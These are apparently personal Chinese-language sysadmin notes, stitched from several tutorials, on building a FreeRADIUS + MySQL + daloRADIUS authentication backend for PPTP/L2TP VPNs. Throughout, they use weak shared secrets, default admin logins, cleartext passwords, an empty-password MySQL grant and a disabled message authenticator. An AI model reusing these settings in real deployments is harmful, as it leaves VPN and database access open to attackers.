新建数据库.以及导入 一系列表.

mysql -u root –p 要求输入密码时,直接回车即可。

create database radius;  

grant all on radius.* to radius@localhost identified by "radpass"; 

exit;

导入表结构

mysql -u root -p radius < /etc/freeradius/sql/mysql/schema.sql

建立 用户和组

输入mysql -u root -p 输入密码 进数据库. use radius,使用该数据库

  1. 建立组信息:(在此新建组名称为user) insert into radgroupreply (groupname,attribute,op,value) values (‘user’,’Auth-Type’,’:=’,’Local’); insert into radgroupreply (groupname,attribute,op,value) values (‘user’,’Service-Type’,’:=’,’Framed-User’); insert into radgroupreply (groupname,attribute,op,value) values (‘user’,’Framed-IP-Address’,’:=’,’255.255.255.255’); insert into radgroupreply (groupname,attribute,op,value) values (‘user’,’Framed-IP-Netmask’,’:=’,’255.255.255.0’);

  2. 建立用户信息:(在此新建用户名为test,密码为testpwd) insert into radcheck (username,attribute,op,value) values (‘test’,’Cleartext-Password’,’:=’,’testpwd’);

  3. 将用户加入组中: 可以在 radusergroup 表里面看到. insert into radusergroup (username,groupname) values (‘test’,’user’);

配置客户端:

安装服务端 就自带客户端的.!!!!!! 版本 1.1.7

vi /etc/freeradius/clients.conf,
添加如下内容,注意将IP_ADDRESS和SHARED_SECRET换为你的服务器IP和你的共享密钥。

client IP_ADDRESS { ipaddr = IP_ADDRESS secret = SHARED_SECRET require_message_authenticator = no }

配置RadiusClient RadiusClient用于将pptpd和xl2tpd的radius插件的验证请求发送给FreeRadius服务器,充当nas的角色,其配置文件位于/etc/radiusclient内。

客户端可以有很多个

每个 客户端 可设置单独的 共享密码.


安装配置流程简介:

  1. 安装主要软件及依赖包. mysql php
  2. 新建mysql数据库
  3. 编辑 sql.conf 修改 sql radius数据库 登录密码.
  4. 编辑 radius.conf 让 freeradius 可以用 sql 功能.
  5. 编辑 clients.conf 设置新的共享密码
  • apt-get update 更新软件列表.
  • apt-get upgrade 更新软件.
  • apt-cache search radiusclient 搜索软件.

安装 FreeRADIUS 软件 和 其他组件.

软件包 简介 要求
freeradius 服务器端程序 必须装
freeradius-utils 客户端程序 必装 包括:
要用到 radtest 测试是否正常
radclient
radtest , radzap
radsniff , smbencrypt
freeradius-mysql mysql 插件 必选
phpmyadmin 选择: apache2
选择: 配置 no
必选
mysql-server    
freeradius-dialupadin web管理插件  
libfreeradius2 FreeRADIUS的共享库  
php5-gd php5-curl php-pear php5-mail-mime php-db  

修改默认通信密码

  • radius: udp 协议传输的. 安全性能不太好 所以就有了通信密码

  • 通信密码:用于加密 freeradius 服务器 和 客户端 通信的信息. 共享 key
  • ** 强烈建议修改更改通信密码 ( 第101行 → 默认的 testing123 改为 xujian ) **
    vi /etc/freeradius/clients.conf
    改掉后如果测试有问题 重启服务器电脑使修改内容生效.
启用测试账号,测试 freeradius 是否正常工作
    vi /etc/freeradius/users   ( 注释掉 76行 )

    # steve Cleartext-Password := "testing"
  • FreeRADIUS自带一个默认的测试客户用户叫做localhost. 用来帮助排查问题和测试.
  • 用 启动脚本来关闭FreeRADIUS来确保没有其他实例在运行. /etc/init.d/freeradius stop

  • 以debug模式启动FreeRADIUS. freeradius -X

    屏幕上的最后一行是: Ready to process requests.
    说明安装正确, 如果这个没有发生, 阅读FreeRADIUS的debug输出.

  • 本地电脑 另建终端 ssh登服务器 执行

      radtest steve testing localhost 1812 xujian 
    
命令 解析
radtest 测试命令
steve testing 测试用户名 测试密码
localhost 1812 freeradius 运行的 IP 地址和 端口号
xujian 通信密码
 测试成功 有如下行

    rad_recv: Access-Accept packet from host 127.0.0.1 ......   



-------

配置VPN服务器

为pptpd和xl2tpd启用radius插件,首先查找插件的位置。

sudo updatedb locate radius.so 插件通常位于/usr/lib/pppd/2.4.5/radius.so。

配置pptpd

查看/etc/pptpd.conf,获取pptpd的ppp配置文件位置

option /etc/ppp/pptpd-options 修改/etc/ppp/pptpd-options文件,在最后添加如下两行,注意修改插件的具体位置。

plugin /usr/lib/pppd/2.4.5/radius.so
radius-config-file /etc/radiusclient/radiusclient.conf 重启pptpd

sudo service pptpd restart

添加用户:

 
登陆 MySQL 数据库 ——————————————————————————————— mysql -uroot -p;
使用 radius 数据库 ————————————————————————————————— USE radius;
向 radchec表添加用户 (用户名 xujian,密码 xujian ) :
INSERT INTO radcheck (username,attribute,op,VALUE) VALUES (‘xujian’,’Cleartext-Password’,’:=’,’xujian’);
将用户 xujian 加入VIP1用户组:
INSERT INTO radusergroup (username,groupname) VALUES (‘xujian’,’VIP1’);

默认freeradius只允许本地客户端发起认证, 这里假设有一台提供VPN服务的服务器名字是red,
ip为198.74.49.76,设置的共享密码为xujian,

其中IP必须为客户端IP,这里 vps 服务器 既当服务端 又当 客户端.

shortname是可以随意设置的,客户端连接的时候会被要求提供secret:

vi /etc/freeradius/clients.conf

client IP_ADDRESS { ipaddr = 198.74.49.76 secret = xujian require_message_authenticator = no }

编辑 clients.conf,确定哪个 IP 范围可以访问 Radius 服务,这里 secret 一行的 testing123 就是上面 DD-WRT 要用到的 WPA Shared Key:

$ sudo vi /etc/freeradius/clients.conf

… client 192.168.2.0/24 { require_message_authenticator = no secret = testing123 shortname = vpsee-network } …

client 192.168.1/24 { shortname = netgear secret = xujian require_message_authenticator = no }

clients.conf

客户端配置目录: 增加 NAS 客户端到这里才能连接.

127.0.0.1 也叫 localhost 默认是开启的 方便你测试 radius 是否能正常工作.

每个 客户端 都有个 shortname 用来区分别的客户端.

1.0 版本 client 后面跟的是 客户端的 ip. 2.0 版本 ip 由中括号 里面的 ipaddr 来定义了.

例子:

client localhost { # ip 地址. 或者 ip 组!!!!! ipaddr = 127.0.0.1/24 默认 子网掩码 是 32 最好不要改.

共享密码:

必须改.

老的客户端 在发起连接请求时候 可能不发送 Message-Authenticator require_message_authenticator = no 关闭这个功能 就好了 待确定.

short name 也就是 ip 的 别名 为了区别不同客户端用 客户端1.版本 需要 2 版本 不需要.

 现在可以给 每个客户端 都设定各自的密码. 比如: client 192.168.0.0/24 {
   secret          = testing123-1
   shortname       = private-network-1 }

client 192.168.0.0/16 { secret = testing123-2 shortname = private-network-2 }

只允许固定的 ip 能连接服务器. clients per_socket_clients { client 192.168.3.4 { secret = testing123 } }

配置 默认表: vi /etc/freeradius/sites-available/default

确保 pam 行 没被注释掉

authenticate { Auth-Type PAP { pap } Auth-Type CHAP { chap } Auth-Type MS-CHAP { mschap } pam unix eap } …

同样的确定 inner-tunnel 配置文件里面的 pam 一行没有被注释掉:

vi /etc/freeradius/sites-available/inner-tunnel

authenticate { Auth-Type PAP { pap } Auth-Type CHAP { chap } Auth-Type MS-CHAP { mschap } pam unix eap }

在 users 加入下面认证类型:

$ sudo vi /etc/freeradius/users … DEFAULT Auth-Type = PAM Fall-Through = 1 …

报错汇总:

freeradius -X

错误: Failed binding to authentication address * port 1812: Address already in use

原因: freeradius 已经在运行. 没必要再启动.

查看 linux 系统运行 进程. 命令 ps -A 显示所有进程.

配置流程: 小改 改一次 测试一次 用 freeradius -X 来测试 通过再然后进行小改.

ddwrt 路由器 当 radius 客户端: 将WLAN无线路由器的 IP 地址添加到 RADIUS 服务器上。 在WLAN无线路由器中启用并指定 RADIUS 服务器。 将 RADIUS 用户名或组名添加到您的策略中。 要在配置中启用并指定 RADIUS 服务器。

MySQL 集成

admin.sql 脚本内容详解:

CREATE USER 'radius'@'localhost';  
SET PASSWORD FOR 'radius'@'localhost' = PASSWORD('xujian');
GRANT SELECT ON radius.* TO 'radius'@'localhost';
GRANT SELECT ON radius.* TO 'radius'@'localhost';
GRANT ALL on radius.radacct TO 'radius'@'localhost';
GRANT ALL on radius.radpostauth TO 'radius'@'localhost';

CREATE USER 'radius'@'localhost';   > - 给数据库 新建用户 > - radius: 新用户名 > - @localhost:  只能通过服务器本机进行登录. 不能通过网络远程登录!!!!!!!

SET PASSWORD FOR 'radius'@'localhost' = PASSWORD('xujian'); > - 给数据库新用户设置密码 > - 密码 要在单引号内

GRANT SELECT ON radius.* TO 'radius'@'localhost'; > - 给新建用户  数据库(radius)的 查询 权限.

GRANT ALL on radius.radacct TO 'radius'@'localhost'; > - 给新建用户  数据库(radius)的 radacct 表的所有权限.

GRANT ALL on radius.radpostauth TO 'radius'@'localhost'; > - 给新建用户  数据库(radius)的 radpostauth 表的 所有权限.

nas.sql 脚本内容详解:

  • 在一个NAS可以使用FreeRADIUS服务器之前,
    必须先在FreeRADIUS服务器上的定义这个客户端.

给数据库添加一个表 网络设备表.

使用方法:

mysql -uroot -p radius < nas.sql

CREATE TABLE nas (
id int(10) NOT NULL auto_increment,
nasname varchar(128) NOT NULL,
shortname varchar(32),
type varchar(30) DEFAULT 'other',
ports int(5),
secret varchar(60) DEFAULT 'secret' NOT NULL,
server varchar(64),
community varchar(50),
description varchar(200) DEFAULT 'RADIUS Client',
PRIMARY KEY (id),
KEY nasname (nasname)
);

解析:

freeredius -X 如果调试出错. 把调试文件 想办法 保存成文件. 然后仔细看 我的最后几行错误是: /etc/freeradius/sql.conf22: Instantiation failed for module “sql” /etc/freeradius/sites-enabled/default[177]: Failed to find “sql” in the “modules” section. /etc/freeradius/sites-enabled/default[69]: Errors parsing authorize section.

其实重点是 : 你只看了 结果 具体错误 是显示在中间的.电脑太快 你没看的很多内容其实很重要

MYSQL check_error: 1054 received rlm_sql (sql): database query error, SELECT id, nasname, shortname, type, secret, server FROM nas: Unknown column ‘server’ in ‘field list’

跟sql模块没关系,是你的数据库结构被破坏了

Server字段不存在

手动在数据库的nas里添加一个server字段就搞定了

grant select,insert,update,delete on mydb.* to [email=test2@localhost]test2@localhost[/email] identified by “abc”; 用户 test2 密码 abc 只能在 localhost( 本机 也就是装了 mysql 数据库的那台电脑 也就是别人无法通过网络登录 mysql 只能在服务器电脑上进行登录 ) 上登录 只能对 mydb 数据库 进行查询 插入 修改 删除

设空密码的话 : grant select,insert,update,delete on mydb.* to [email=test2@localhost]test2@localhost[/email] identified by “”;

作用: 为 RADIUS 创建 默认的 管理员账号和密码 给服务器

应该 该里面的 localhost 和 radpass 不要用默认的.

  • GRANT ON: 增加新用户并控制其权限 命令格式:
  • grant 操作(查询/插入/修改/删除) on 数据库名称.* to 用户名@登录主机 identified by “密码”;
  • 例子: grant select,insert,update,delete on . to [email=test1@”%]test1@”%[/email]” Identified by “abc”;

      select,insert,update,delete  查询 插入 修改 删除 权限
      *.* 所有数据库 . 所有数据表?
    
  1. 创建 radius 数据库 create database radius default character set utf8;
  • 安装 freeradius 专用 mysql 插件

      sudo apt-get install freeradius-mysql
    
    • 安装后, 就多了如下文件夹( 包含几个 sql 脚本 ):

        cd /etc/freeradius/sql/mysql   - admin.sql 脚本:  创建 Radius 数据库的默认管理员
        - 默认创建的 账户的名称和密码是 radius / radpass  - schema.sql 脚本:  自动创建 radius 数据库里的表.  修改 radius 数据库的管理员密码 (两个地方同步修改)
      
    • 在admin.sql里修改管理员密码, vi /etc/freeradius/sql/mysql/admin.sql

       15行 PASSWORD('radpass') 改成 PASSWORD('xujian');
      
    • 同步修改 sql.conf 的管理员密码.
      vi /etc/freeradius/sql.conf 39行 改成 password = “xujian”

  • 导入 admin.sql 和 schema.sql

  • 下面的命令 要 cd /etc/freeradius/sql/mysql 才能执行的.
  • 其实就是 mysql里创建用户密码 和 表 .
  • 如果你重复配置好多次 可能会报错.比如已经建了默认的账户密码.
  • 要改密码的话 这个 只能手动去mysql 手动改密码啦.
  • 表重复的话 应该没关系的.
  • 账号密码 都在 mysql里(软件自带的表)
    mysql -uroot -p < admin.sql  

    mysql -uroot -p radius < schema.sql

Authentication通常是考虑的第一步, 这是一个过程用来确认是否Alice提供的credential是有效的. 提供credential的最常见的方式是通过用户名和密码. 其他方式像one-time token, certificate, PIN numbers, 或者甚至biometric scanning也可以使用.

在成功authentication之后一个session被初始化. 这个session持续直到网络连接被终止掉.

共享密钥(shared secret)

客户端和服务器端也需要有一个共享的密钥, 将会用来加密和解密某些AVPs. User-Password AVP的值使用这个共享密钥加密. 当共享密钥在客户端和服务器端不同时, FreeRADIUS服务器将会检测到他并且当运行的debug模式时警告你.

-——–

  • 然后在/usr/sbin目录下创建连接: sudo ln -s freeradius radiusd

  • FreeRadius的配置文件位于/etc/freeradius目录。

  • 编辑 radius 用户配置文件 添加服务器 ip 和共享密码 xujian

      vi /etc/freeradius/clients.conf
    	
      添加下面内容到文件
    	
      client IP_ADDRESS {
      ipaddr = 198.74.49.76
      secret = xujian
      require_message_authenticator = no
      }
    

整合 pptp 与 freeradius 首先 搭建 pptp 的服务器. 要整合 还需要一个 radius 的客户端. 如果路由器有 radius 功能 就不需要整合了.

客户端: radius 认证库: apt-get install freeradius-utils

配置 vpn 服务器

  1. pptpd 启用 radius 插件.

首先查找插件位置(后面用到)
sudo updatedb 更新索引数据库? locate radius.so 查找 插件位置. 得到

/usr/lib/pppd/2.4.6/radius.so

查看 /etc/pptpd.conf 文件 找到 18行 得到 ppp的配置的文件位置.

编辑查找出来的 ppp-option 文件

    vi /etc/ppp/pptpd-options

文件最后添加 (插件路径 用你第一步找到的) plugin /usr/lib/pppd/2.4.6/radius.so radius-config-file /etc/radiusclient/radiusclient.conf

重启 pptpd sudo service pptpd restart

DaloRadius

用 php 编写的 一个 web 管理 freeradius 的程序.

下载文件 wget http://sourceforge.net/projects/daloradius/files/daloradius/daloradius-0.9-8/daloradius-0.9-8.tar.gz

安装必要 php 组件

apt-get install php-pear php-db

然后新建一个文件夹
mkdir /usr/share/daloRadius

解压下载的文件 tar zxvf daloradius-0.9-8.tar.gz

复制文件到新建目录 mv daloradius-0.9-8/* /usr/share/daloRadius/

删除下载文件 rm -r daloradius-0.9-8

这时我们将daloRADIUS中附带的sql文件导入MySQL数据库,别忘了输入密码:

mysql -uroot -p radius < /usr/share/daloRadius/contrib/db/fr2-mysql-daloradius-and-freeradius.sql

安装 并解压 cd /tmp 下载: wget http://sourceforge.net/projects/daloradius/files/daloradius/daloradius0.9-9/daloradius-0.9-9.tar.gz

编辑 daloRADIUS的配置文件

vi /usr/share/daloRadius/library/daloradius.conf.php 首先是MySQL登录信息:

$configValues[‘CONFIG_DB_HOST’] = ‘localhost’; $configValues[‘CONFIG_DB_USER’] = ‘radius’; $configValues[‘CONFIG_DB_PASS’] = ‘***’; // 设为自己的密码 $configValues[‘CONFIG_DB_NAME’] = ‘radius’;

下面有一个daloRADIUS的bug,默认配置中有一个表名和我们导入的不一样,把它改过来:

$configValues[‘CONFIG_DB_TBL_RADUSERGROUP’] = ‘radusergroup’;

然后修改daloRADIUS的路径: $configValues[‘CONFIG_PATH_DALO_VARIABLE_DATA’] = ‘/usr/share/daloRadius/var’;

] 添加Apache虚拟主机,如果有Web控制面板什么的自然就方便多了, 不然就编辑/etc/httpd/conf/httpd.conf,加入:

Alias /vpn “/usr/share/daloRadius/” <Directory “/usr/share/daloRADIUS”> </Directory>

重启重启Apache和MySQL:

service httpd restart service mysqld restart

打开浏览器,进入daloRADIUS的管理页面 (本例中为http://your.domain/vpn),使用默认用户名administrator和密码radius登录。

。在Management中添加一个新用户,注意密码类型选择Cleartext-Password。

在终端里再次启动radius -X,同时在另一个终端中用radtest username password localhost 0 MyVPN测试一下,看看现在是不是还能正常接通,如果没问题就OK,让我们把这套系统接驳到PPP上。

配置 pptpd

编辑/etc/ppp/options.pptpd,里面已经有许多配置选项了,我们要保证有下面的几行,如果没有就添加上去,为了保障用户登录的安全我们限制只使用MS-CHAPv2:

refuse-pap refuse-chap refuse-mschap require-mppe-128 require-mschap-v2

在配置文件最后加上3行: plugin radius.so plugin radattr.so radius-config-file /usr/local/etc/radiusclient/radiusclient.conf

启动服务

一切完成后我们不需要使用debug模式启动radiusd了:

service radiusd start

当然,我们可以把radiusd和pptpd设为开机启动服务: chkconfig radiusd on chkconfig pptpd on

至此,PPTP+FreeRADIUS+MySQL+daloRADIUS全部配置完毕,我们在本机上使用添加的用户名和密码拨入VPN,可以正常使用。在daloRADIUS中,还可以看到各个用户每次连接的时长,上传和下载的数据量统计等。daloRADIUS其他的使用方法,本文不再叙述。

locate 文件搜索.

updatedb 文件搜索的 索引库.x

配合 mysql.

使用 radius 需要配置 http php mysql 环境, 用 apache 作为http 服务器.

Debian 安装 L2TP

一、安装 IPSec

IPSec 会对 IP 数据包进行加密和验证。

推荐用 openswan 这个后台软件包来跑 IPSec。

安装 openswan:

sudo apt-get  install openswan

1.1 配置sysctl参数

 

   sudo mv /etc/sysctl.conf /etc/sysctl.conf.bak

备份文件

    sudo vim /etc/sysctl.conf

    —————新建文件 并输入如下内容————-

    net.ipv4.ip_forward = 1

    net.ipv4.conf.all.accept_redirects = 0

    net.ipv6.conf.all.accept_redirects = 0

    net.ipv4.conf.all.send_redirects = 0 

Mac 电脑 vpn 连接方法

设置 → 网络 → 左下角 加号 → 接口名称 VPN 服务名称:随便取 → 创建

配置:默认

服务器地址:vps 服务器的 ip 外网 ip . 固定 ip

账户名: 设置的 VPN 账户名

加密: 自动

鉴定设置:选择密码 输入VPN密码

高级: 通过 vpn 连接发送所有流量 打钩.

点击连接 . ok

VPN 内外网 同时使用方法

1、自行搭建 VPN 服务器或购买 VPN 提供商的服务。

2、打开系统偏好设置—>网络,增加 VPN 设置,VPN 类型选择PPTP,

根据提示设置用户名密码等信息即可。

3、下载 chnroutes.py,相关网址:Downloads - chnroutes - Scripts to generate special routes for china ips

4、打开终端进入下载文件的目录,执行:python chnroutes.py -p mac,该目录下会生成两个文件「ip-up」和「ip-down」。

5、把这两个文件复制到 /etc/ppp 下,然后进入该目录执行:sudo chmod a+x ip-up ip-down

测试一下,在终端执行:netstat -nr,检查路由表的输出信息。

连接 VPN, 再次执行:netstat -nr,你会发现路由表已经发生了变化。

这时再去访问国内的网站,你发现他们又变得嘻唰唰了,同时还能访问 Twitter 和 Facebook!

FreeRADIUS

官网 : http://freeradius.org

debian 7 下教程:

https://ttboa.wordpress.com/2014/09/26/freeradius-on-debian-7/

服务器: Debian 8:

安装freeradius: sudo apt-get install freeradius

开启测试账号密码:(用完后 记得删掉.)

vim /etc/freeradius/users

76-84 行 前的# 去掉.

testuser Cleartext-Password := “testpassword”

重启服务 service freeradius restart

查看服务状态: service freeradius status

进行测试

radtest steve testing localhost 0 testing123

如果看到Access-Accept就说明连接成功了。

连接失败

radtest testuser testpassword localhost 0 testing123

radclient: no response from server for ID 25 socket 3

  1. 下载ppp源码,因为要用到其中的配置文件:

``` 1 # wget ftp://ftp.samba.org/pub/ppp/ppp-2.4.5.tar.gz 2 # tar zxvf ppp-2.4.5.tar.gz 3 # cp -R /root/ppp-2.4.5/pppd/plugins/radius/etc/ /usr/local/etc/radiusclient ```

  1. 编辑/usr/local/etc/radiusclient/servers,加上一组服务器和密钥,本例中为“MyVPN”: IT网,http://www.it.net.cn ``` 1 # vim /usr/local/etc/radiusclient/servers 2 localhost MyVPN ```
  2. 编辑/usr/local/etc/radiusclient/dictionary,将最后一行改为:

INCLUDE /usr/local/etc/radiusclient/dictionary.microsoft IT网,http://www.it.net.cn

可以再添加一行:

INCLUDE /usr/local/etc/radiusclient/dictionary.merit IT网,http://www.it.net.cn

1 # vim /usr/local/etc/radiusclient/dictionary

2 INCLUDE /usr/local/etc/radiusclient/dictionary.microsoft

3 INCLUDE /usr/local/etc/radiusclient/dictionary.merit

  1. 编辑/etc/raddb/clients.conf,把client localhost段下的secret改成刚才指定的密钥。 Linux学习,http:// linux.it.net.cn
  2. 编辑/etc/raddb/radiusd.conf,找到$INCLUDE sql.conf,去掉前面的#;找到$INCLUDE sql/mysql/counter.conf,去掉前面的#。
  3. 添加MySQL用户及数据库,你可以使用现成的phpMyAdmin等工具,也可以在终端下操作。本例中,创建了radius的用户和同名的数据库:

``` 1 # mysql -uroot -p 2 (如果有密码,请输入) 3 > CREATE USER ’radius’@’localhost’ IDENTIFIED BY ’***’; 4 > CREATE DATABASE IF NOT EXISTS radius ; 5 > GRANT ALL PRIVILEGES ON radius . * TO ’radius’@’localhost’; ```

  1. 编辑/etc/raddb/sql.conf,配置login(用户名),password(密码),radius_db(数据库名)等字段,并找到readclients一行,设为yes并去掉注释符号#。
  2. 编辑/etc/raddb/sites-enabled/default,根据下面的说明注释或取消注释相应的行:

    authorize段,关掉files,打开sql,也可以把unix关掉

    preacct段,关掉files

    accounting段,打开sql,也可以把unix关掉

    session段,打开sql

    post-auth段,打开sql

    pre-proxy段,关掉files IT网,http://www.it.net.cn

到这一步,我们的FreeRADIUS就算配置好了,用户信息都将保存在MySQL数据库中。至于数据库中的表,我们在后面统一导入。

配置daloRADIUS

  1. 首先下载并安装daloRADIUS,其中需要安装一个Pear-DB的包: ``` 1 # wget http://sourceforge.net/projects/daloradius/files/daloradius/daloradius-0.9-8/daloradius-0.9-8.tar.gz 2 # pear install DB 3 # mkdir /usr/share/daloRadius 4 # tar zxvf daloradius-0.9-8.tar.gz 5 # mv daloradius-0.9-8/* /usr/share/daloRadius/ 6 # rm -r daloradius-0.9-8 ```
  2. 这时我们将daloRADIUS中附带的sql文件导入MySQL数据库,别忘了输入密码: Linux学习,http:// linux.it.net.cn ``` 1 # mysql -uroot -p radius < /usr/share/daloRadius/contrib/db/fr2-mysql-daloradius-and-freeradius.sql ```
  3. 编辑/usr/share/daloRadius/library/daloradius.conf.php,这是daloRADIUS的配置文件。首先是MySQL登录信息: ``` 1 # /usr/share/daloRadius/library/daloradius.conf.php 2 $configValues‘CONFIG_DB_HOST’ = ’localhost’; 3 $configValues‘CONFIG_DB_USER’ = ’radius’; 4 $configValues‘CONFIG_DB_PASS’ = ’***’; // 设为自己的密码 5 $configValues‘CONFIG_DB_NAME’ = ’radius’; ``` 下面有一个daloRADIUS的bug,默认配置中有一个表名和我们导入的不一样,把它改过来: $configValues‘CONFIG_DB_TBL_RADUSERGROUP’ = ‘radusergroup’; 然后修改daloRADIUS的路径: $configValues‘CONFIG_PATH_DALO_VARIABLE_DATA’ = ‘/usr/share/daloRadius/var’;
  4. 添加Apache虚拟主机,如果有Web控制面板什么的自然就方便多了,不然就编辑/etc/httpd/conf/httpd.conf,加入: Linux学习,http:// linux.it.net.cn ``` 1 # vim /etc/httpd/conf/httpd.conf 2 Alias /vpn ”/usr/share/daloRadius/” 3 <Directory ”/usr/share/daloRADIUS”> 4 </Directory> ```
  5. 重启重启Apache和MySQL: Linux学习,http:// linux.it.net.cn ``` 1 # service httpd restart 2 # service mysqld restart ```
  6. 打开浏览器,进入daloRADIUS的管理页面(本例中为http://your.domain/vpn),使用默认用户名administrator和密码radius登录。 daloRADIUS似乎写的不怎么样,最新稳定版已经是三年之前的了,不过作者直到现在还在更新SVN,下次有机会可以用最新的SVN版本试试看。在Management中添加一个新用户,注意密码类型选择Cleartext-Password。 IT网,http://www.it.net.cn
  7. 在终端里再次启动radius -X,同时在另一个终端中用radtest username password localhost 0 MyVPN测试一下,看看现在是不是还能正常接通,如果没问题就OK,让我们把这套系统接驳到PPP上。 配置pppd
  8. 编辑/etc/ppp/options.pptpd,里面已经有许多配置选项了,我们要保证有下面的几行,如果没有就添加上去,为了保障用户登录的安全我们限制只使用MS-CHAPv2: IT网,http://www.it.net.cn ``` 1 # vim /etc/ppp/options.pptpd 2 refuse-pap 3 refuse-chap 4 refuse-mschap 5 require-mppe-128 6 require-mschap-v2 7   8 # 在配置文件最后加上3行: 9      10 plugin radius.so 11 plugin radattr.so 12 radius-config-file /usr/local/etc/radiusclient/radiusclient.conf ``` 启动服务
  9. 一切完成后我们不需要使用debug模式启动radiusd了: ``` 1 # service radiusd start ```
  10. 当然,我们可以把radiusd和pptpd设为开机启动服务: ``` 1 # chkconfig radiusd on 2 # chkconfig pptpd on ``` 至此,PPTP+FreeRADIUS+MySQL+daloRADIUS全部配置完毕,我们在本机上使用添加的用户名和密码拨入VPN,可以正常使用。在daloRADIUS中,还可以看到各个用户每次连接的时长,上传和下载的数据量统计等。daloRADIUS其他的使用方法,本文不再叙述。 文章来源于互联网,具体链接一时忘记未有记下。。。如下几点则为具体配置中所出现的问题及解决方法

1、执行第十三点时报如下错误:

pear not found

经谷歌,解决方法如下:

1 # yum install php-pear

2 # pear upgrade PEAR

2、daloRadius登录界面,用户名为administrator,没记错的话密码是radius。修改密码到config->Opeartors修改。 Linux学习,http:// linux.it.net.cn

3、MySQL错误:Database connection error Error Message: DB Error: extension not found

解决方法:

1 # yum install php-mysql -y

4、无法连接MySQL:Database connection error Error Message: DB Error: connect failed

1 # vim /usr/share/daloRadius/library/daloradius.conf.php

2 # $configValues‘CONFIG_DB_HOST’ = ’127.0.0.1’; # 默认为 localhost

5、无法拨入,客户端报691错误: IT网,http://www.it.net.cn

1 # vim /usr/local/etc/radiusclient/dictionary

2 #INCLUDE /etc/radiusclient/dictionary.microsoft

3 INCLUDE /usr/local/etc/radiusclient/dictionary.merit

4 INCLUDE /usr/local/etc/radiusclient/dictionary.microsoft

5 INCLUDE /usr/local/etc/radiusclient/dictionary.ascend

6 INCLUDE /usr/local/etc/radiusclient/dictionary.compat

 

PS:添加流量控制:

1、建立表格

1 > INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES (‘user’,’Auth-Type’,’:=’,’Local’);

2 > INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES (‘user’,’Service-Type’,’:=’,’Framed-User’);

3 > INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES (‘user’,’Framed-IP-Address’,’:=’,’255.255.255.255’);

4 > INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES (‘user’,’Framed-IP-Netmask’,’:=’,’255.255.255.0’);

5 > INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES (‘user’,’Acct-Interim-Interval’,’:=’,’600’);

6 > INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES (‘user’,’Max-Monthly-Traffic’,’:=’,’5368709120’);

7 > INSERT INTO radgroupcheck (groupname,attribute,op,VALUE) VALUES (‘user’,’Simultaneous-Use’,’:=’,’1’);

以上前四行不用改动,acct-interim-interval是计算流量的间隔(600秒),意味着每隔10分钟记录当前流量。倒数第二行是每月最大流量,这里是5G(单位是字节)。最后一行是允许同时连接数目。 IT网,http://www.it.net.cn

2、修改配置

1 # vim /etc/raddb/sql/mysql/dialup.conf

2
{%raw%} sql_user_name = ”%{%{Stripped-User-Name}:-%{%{User-Name}:-none}}” {%endraw%} 3 # 取消前面的注释并注释下一行

4 # 同时如果需要打开simultanoues-use(控制同时在线用户数)的话需要把simul_query_check取消注释。

3、输入测试用户信息:

1 > INSERT INTO radcheck (username,attribute,op,VALUE) VALUES (‘test’,’Cleartext-Password’,’:=’,’test’);

2 > INSERT INTO radusergroup (username,groupname) VALUES (‘test’,’user’);

(用户名与密码必须以明文/NTLM Crypt形式保存,因为MS-CHAPv2不支持MD5保存的密码。) IT网,http://www.it.net.cn

4、由于上步中有非内置的attribute Max-Monthly-Traffic,所以需要在/usr/local/etc/raddb/dictionary里面定义:

ATTRIBUTE Max-Monthly-Traffic 3003 integer IT网,http://www.it.net.cn

5、初步测试: IT网,http://www.it.net.cn

1 # /etc/init.d/freeradius stop

2 # radiusd -X >

3 # radtest test test localhost 1649 testing123

如果结果中有Access-Accept就代表成功了,否则退回去检查设置。

6、测试成功的话添加在认证时检测流量的语句,打开/usr/local/etc/raddb/sites-enabled/default,找到authorize一节插入:

1 # vim /usr/local/etc/raddb/sites-enabled/default

2     update request {

3     Group-Name := ”%{sql:SELECT groupname FROM radusergroup WHERE username=’%{User-Name}’ ORDER BY priority}”

4     }

5     if (“%{sql: SELECT SUM(acctinputoctets+acctoutputoctets) FROM radacct WHERE username=’%{User-Name}’ AND date_format(acctstarttime, ’%Y-%m-%d’) >= date_format(now(),’%Y-%m-01’) AND date_format(acctstoptime, ’%Y-%m-%d’) <= last_day(now());}” >= ”%{sql: SELECT value FROM radgroupreply WHERE groupname=’%{Group-Name}’ AND attribute=’Max-Monthly-Traffic’;}”) {

6     reject

7     }

7、设置radiusclient:

打开/usr/local/etc/radiusclient/radiusclient.conf,修改

authserver localhost:1812

acctserver localhost:1813

修改server:

最后加上localhost secret(就是FreeRadius的client.conf里面定义的secret)

修改dictionary:

最后加上 IT网,http://www.it.net.cn

INCLUDE /usr/local/etc/radiusclient/dictionary.merit

INCLUDE /usr/local/etc/radiusclient/dictionary.microsoft Linux学习,http:// linux.it.net.cn

如果没有dicitionary.microsoft的话看这里:http://wiki.freeradius.org/PopTop

8、启动服务

1 # service radiusd start

2 # chkconfig radiusd on

3 # chkconfig pptpd on

至此,完成了所有配置了。。。 Linux学习,http:// linux.it.net.cn

(责任编辑:IT)

客户端 安装客户端 1.1.7

http://freeradius.org/freeradius-client/

接下来 是防火墙的联动

这个暂且不详细说,每个厂商的防火墙配置方法都不同,思路是差不多的,客户端如果想完成认证,必须通过radius认证,这个时候,pc的数据包到达防火墙后,防火墙会把客户端丢过来的认证信息发送到radius服务器上面,由radius服务器去辨别是否通过认证

  6.radius里关键的配置文件为radius.conf 与clients.conf

               radius.conf:这个文件记录的是radius服务相关的信息,包括服务器监听的接口、允许认证的客户端IP等

               clients.conf:定义客户端与服务器之间的共享密钥,认证信息等

RADIUS包有一个指定的格式,两个关键的组件是:

code: 表示包的类型. attribute: 携带RADIUS使用的必要数据.

数据包

了解一个RADIUS数据包的格式将会大大帮助理解RADIUS协议.

让我们更细致的查看RADIUS数据包. 我们将会看一个简单的authentication请求. 一个客户端发送一个Access-Request包到服务器. 服务器返回一个Access-Accept包来表示成功.

显示在这里的RADIUS数据包只是一个UDP数据包的payload. UDP和IP协议的讨论已经超出这本书的范围了.

